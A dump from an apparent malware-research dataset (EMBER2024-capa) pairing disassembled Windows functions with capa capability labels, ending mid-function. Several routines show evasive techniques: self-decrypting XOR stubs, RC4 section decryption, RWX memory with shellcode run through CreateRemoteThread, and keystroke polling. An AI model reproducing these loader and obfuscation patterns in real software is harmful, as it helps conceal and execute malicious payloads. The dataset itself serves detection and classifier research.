joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100f232f
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + reloc.USER32.dll_SetCursor]
je 0x100f234a
inc edi
cmp edi, 0x17
jb 0x100f233b
cmp edi, 0x17
jae 0x100f24ca
push ebp
push 3
call fcn.100ffe9a
cmp eax, 1
pop ecx
je 0x100f2496
push 3
call fcn.100ffe9a
test eax, eax
pop ecx
jne 0x100f237e
cmp dword [0x10154ac8], 1
je 0x100f2496
cmp ebx, 0xfc
je 0x100f24c9
push 0x101420ac
mov ebx, 0x314
push ebx
mov ebp, 0x10154e68
push ebp
call fcn.100eaee5
add esp, 0xc
test eax, eax
je 0x100f23b4
push esi
push esi
push esi
push esi
push esi
call fcn.100e6b18
add esp, 0x14
push 0x104
mov esi, 0x10154e81
push esi
push 0
mov byte [0x10154f85], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100f23f8
push 0x10142094
push 0x2fb
push esi
call fcn.100eaee5
add esp, 0xc
test eax, eax
je 0x100f23f8
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.100e6b18
add esp, 0x14
push esi
call fcn.100e66e0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x100f243d
push esi
call fcn.100e66e0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1015517c
push 0x10142090
sub ecx, eax
push ecx
push eax
call fcn.100eb83f
add esp, 0x14
test eax, eax
je 0x100f243d
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.100e6b18
add esp, 0x14
jmp 0x100f243f
xor esi, esi
push 0x10140900
push ebx
push ebp
call fcn.100eae74
add esp, 0xc
test eax, eax
je 0x100f245f
push esi
push esi
push esi
push esi
push esi
call fcn.100e6b18
add esp, 0x14
push dword [edi*8 + 0x1013dc44]
push ebx
push ebp
call fcn.100eae74
add esp, 0xc
test eax, eax
je 0x100f2481
push esi
push esi
push esi
push esi
push esi
call fcn.100e6b18
add esp, 0x14
push 0x12010
push 0x10142068
push ebp
call fcn.100ffcdd
add esp, 0xc
jmp 0x100f24c9
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x100f24c9
cmp ebp, reloc.USER32.dll_SetCursor
je 0x100f24c9
push 0
lea eax, [esp + 0x14]
push eax
lea esi, reloc.USER32.dll_SetCursor
push dword [esi]
call fcn.100e66e0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x100ffcdd
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100f1653
xor ebx, ebx
cmp dword [0x10155548], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x100ffdb3
push 0x10143898
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x100ffe93
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1014388c
push edi
call esi
cmp eax, ebx
je 0x100ffe93
push eax
call fcn.100f15e5
mov dword [esp], 0x1014387c
push edi
mov dword [0x10155548], eax
call esi
push eax
call fcn.100f15e5
mov dword [esp], 0x10143868
push edi
mov dword [0x1015554c], eax
call esi
push eax
call fcn.100f15e5
mov dword [0x10155550], eax
lea eax, [ebp - 0xc]
push eax
call fcn.100e76d7
test eax, eax
pop ecx
pop ecx
je 0x100ffd81
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100e6b18
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x100ffdb3
push 0x1014384c
push edi
call esi
push eax
call fcn.100f15e5
cmp eax, ebx
pop ecx
mov dword [0x10155558], eax
je 0x100ffdb3
push 0x10143834
push edi
call esi
push eax
call fcn.100f15e5
pop ecx
mov dword [0x10155554], eax
mov eax, dword [0x10155554]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x100ffe38
cmp dword [0x10155558], ecx
je 0x100ffe38
push eax
call fcn.100f165c
push dword [0x10155558]
mov esi, eax
call fcn.100f165c
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x100ffe38
cmp edi, ebx
je 0x100ffe38
call esi
cmp eax, ebx
je 0x100ffe05
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100ffe05
test byte [ebp - 0x18], 1
jne 0x100ffe38
lea eax, [ebp - 0x10]
push eax
call fcn.100e7786
test eax, eax
pop ecx
je 0x100ffe20
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100e6b18
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x100ffe2f
or dword [ebp + 0x10], reloc.USER32.dll_SetCursor
jmp 0x100ffe73
or dword [ebp + 0x10], reloc.USER32.dll_SetCursor
jmp 0x100ffe73
mov eax, dword [0x1015554c]
cmp eax, dword [ebp - 8]
je 0x100ffe73
push eax
call fcn.100f165c
cmp eax, ebx
pop ecx
je 0x100ffe73
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x100ffe73
mov eax, dword [0x10155550]
cmp eax, dword [ebp - 8]
je 0x100ffe73
push eax
call fcn.100f165c
cmp eax, ebx
pop ecx
je 0x100ffe73
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10155548]
call fcn.100f165c
cmp eax, ebx
pop ecx
je 0x100ffe93
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100ffe95
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1010c8da
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [edi + 0x2c]
push esi
mov esi, dword [edi + 0x3c]
sub esi, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea ecx, reloc.USER32.dll_SetCursor
sub esi, eax
cmp eax, ecx
jb 0x1010c95f
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.100ea7b0
mov eax, dword [edi + 0x4c]
mov ecx, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x1010c922
mov eax, dword [edi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x1010c944
add esi, ebx
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x1010c9ba
mov ecx, dword [edi + 0x74]
add ecx, dword [edi + 0x6c]
push esi
add ecx, dword [edi + 0x38]
mov esi, eax
push ecx
call fcn.1010c62a
add dword [edi + 0x74], eax
mov esi, dword [edi + 0x74]
cmp esi, 3
pop ecx
pop ecx
jb 0x1010c9a6
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp esi, 0x106
jae 0x1010c9ba
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x1010c8e3
pop esi
pop ebx
leave
ret
Function at 0x10112d20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x1011d088
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1013d8f0]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x1015558c]
test eax, eax
jne 0x10112d52
xor esi, esi
jmp 0x10112d5b
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
mov dword [esp + 0x14], esi
test esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esp + 0x20], 0
je 0x10112d9d
cmp dword [esi + 0x14], 0
jne 0x10112ddf
cmp dword [esi + 0x10], 0
jne 0x10112de5
push 0x10111bb0
push 0x10155588
call fcn.10112610
mov eax, dword [0x1015558c]
add esp, 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test esi, esi
mov dword [esp + 0x20], reloc.USER32.dll_SetCursor
je 0x10112dcb
lea ecx, [esi + 4]
or edx, reloc.USER32.dll_SetCursor
lock xadd dword [ecx], edx
jne 0x10112dcb
mov eax, dword [esi]
mov edx, dword [eax]
push 0
mov ecx, esi
call edx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
cmp dword [esi + 0x10], 0
je 0x10112e25
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx + 4]
mov dword [esi + 0x10], eax
mov ecx, dword [ebx]
test ecx, ecx
je 0x10112e13
mov edx, dword [ecx]
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebx]
mov edx, dword [edi]
mov eax, dword [edx]
push 0
mov ecx, edi
call eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x10], 0
jne 0x10112de5
cmp dword [esi + 0x14], 0
je 0x10112d77
mov edi, dword [esi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x14], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x10112e4a
mov edx, dword [ecx]
mov eax, dword [edi + 0xc]
mov edx, dword [edx + 4]
push eax
call edx
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x10112e7b
lea eax, [ebx + 4]
or ecx, reloc.USER32.dll_SetCursor
lock xadd dword [eax], ecx
jne 0x10112e7b
mov edx, dword [ebx]
mov eax, dword [edx + 4]
mov ecx, ebx
call eax
lea ecx, [ebx + 8]
or edx, reloc.USER32.dll_SetCursor
lock xadd dword [ecx], edx
jne 0x10112e7b
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x14], 0
jne 0x10112e2f
jmp 0x10112d71

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4068a5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068c9
xor eax, eax
test eax, eax
je 0x4068dc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068dc
xor ecx, ecx
jmp 0x4068df
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a02
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ac], 0
push esi
jne 0x406a39
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a13
mov dword [ecx*4 + 0x4275a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a0e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a6a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275a8]
xor eax, esi
inc ecx
dec edx
jne 0x406a4c
pop edi
not eax
pop esi
ret 0xc

Function at 0x40184a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
jmp 0x401869
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0x10]
jae 0x401913
mov eax, dword [ebp - 8]
inc eax
and eax, 0x800000ff
jns 0x401887
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx eax, byte [eax]
add eax, dword [ebp - 0xc]
and eax, 0x800000ff
jns 0x4018a4
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
mov al, byte [eax]
mov byte [ebp - 1], al
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
mov cl, byte [ecx]
mov byte [eax], cl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [ebp - 1]
mov byte [eax], cl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx eax, byte [eax]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx]
add eax, ecx
and eax, 0x800000ff
jns 0x4018ef
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
movzx eax, byte [eax]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x10]
movzx ecx, byte [ecx]
xor ecx, eax
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x10]
mov byte [eax], cl
jmp 0x401862
xor eax, eax
leave
ret
Function at 0x40639b
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00405efc
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x4063d0
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x433c88], eax
jmp 0x406561
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x4063eb
test eax, eax
je 0x40650c
test cl, 2
je 0x40650c
push edi
push ebx
mov esi, 0x42e360
push esi
call fcn.0040593e
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40640e
push str..
push esi
call edi
jmp 0x406414
push ebx
call 0x405ed5
cmp byte [ebx], 0
jne 0x406422
cmp byte [0x42e360], 0x5c
jne 0x40642a
push 0x4082a8
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebx + eax]
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x406501
lea esi, [ebp - 0x11c]
push 0x3f
mov eax, esi
push eax
call fcn.0040567b
cmp byte [eax], 0
je 0x40646c
cmp byte [ebp - 0x18], 0
je 0x40646c
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x406482
mov al, byte [esi + 1]
test al, al
je 0x4064e0
cmp al, 0x2e
jne 0x406482
cmp byte [esi + 2], 0
je 0x4064e0
push esi
push edi
call fcn.0040593e
test byte [ebp - 0x148], 0x10
je 0x4064a7
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4064e0
push dword [ebp + 0xc]
push ebx
call fcn.0040639b
jmp 0x4064e0
push ebx
call fcn.00405790
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4064d8
test byte [ebp + 0xc], 4
je 0x4064d0
push ebx
push 0xfffffffffffffff1
call fcn.00404975
push 0
push ebx
call fcn.00406368
jmp 0x4064e0
inc dword [0x433c88]
jmp 0x4064e0
push ebx
push 0xfffffffffffffff2
call fcn.00404975
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40644e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x40650b
mov byte [edi - 1], 0
pop edi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x406560
cmp dword [ebp - 8], esi
je 0x406550
push ebx
call fcn.00405a08
test eax, eax
je 0x406560
push ebx
call fcn.00405ea8
push ebx
call fcn.00405790
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x406558
test byte [ebp + 0xc], 4
je 0x406550
push ebx
push 0xfffffffffffffff1
call fcn.00404975
push esi
push ebx
call fcn.00406368
jmp 0x406560
inc dword [0x433c88]
jmp 0x406560
push ebx
push 0xffffffffffffffe5
call fcn.00404975
pop esi
pop ebx
leave
ret 8
Function at 0x40690e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x42f764], 0
jne 0x40694c
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406922
mov dword [ecx*4 + 0x42f760], eax
inc ecx
cmp ecx, 0x100
jl 0x40691d
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406979
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x42f760]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40695a
not eax
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2f7c7c15
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x120914e2
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x27
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x4734b0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x4c000
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x473000
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x473000
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40825d
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x10], ebx
je 0x4082ac
push dword [esp + 0x10]
push 0x4081db
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x4135c8]
cmp esi, ebx
je 0x408300
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x4082a4
cmp byte [esi + 0x10], bl
je 0x4082a4
push 3
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, edi
cmp edi, ebx
jne 0x408281
jmp 0x408300
mov esi, dword [0x4135c8]
cmp esi, ebx
je 0x408300
push ebp
mov ebp, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x4082f9
cmp byte [esi + 0x11], bl
je 0x4082d6
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], bl
je 0x4082ec
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x4135c8
call fcn.0040ebad
pop ecx
pop ecx
mov esi, ebp
cmp ebp, ebx
jne 0x4082b7
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x40b5a1
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40b61d
push 9
call esi
test bl, al
je 0x40b61d
push 0x11
call esi
test bl, al
jne 0x40b61d
push 0x10
call esi
test bl, al
jne 0x40b61d
push 0x12
call esi
test bl, al
jne 0x40b61d
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40b61d
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x40b61d
xor eax, eax
jmp 0x40b69f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x40b646
push 0x11
call esi
test bl, al
jne 0x40b63e
push 0x10
call esi
test bl, al
jne 0x40b63e
push 0x12
call esi
test bl, al
je 0x40b646
push 1
push ebp
call fcn.0040b55a
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x40b65c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40b69c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40b69c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x40b69c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40b69c
dec esi
push esi
push dword [0x413b50]
call fcn.0040e4da
test eax, eax
je 0x40b69c
mov eax, dword [eax + 8]
jmp 0x40b69e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x40c4ca
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40c53a
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x40c51c
mov dl, byte [eax - 1]
cmp dl, 0x20
je 0x40c51b
cmp dl, 0x5c
je 0x40c51b
cmp dl, 0x2f
jne 0x40c526
dec eax
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x40c509
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40c53c
xor eax, eax
leave
ret 4

Function at 0x40c610
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x40c645
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
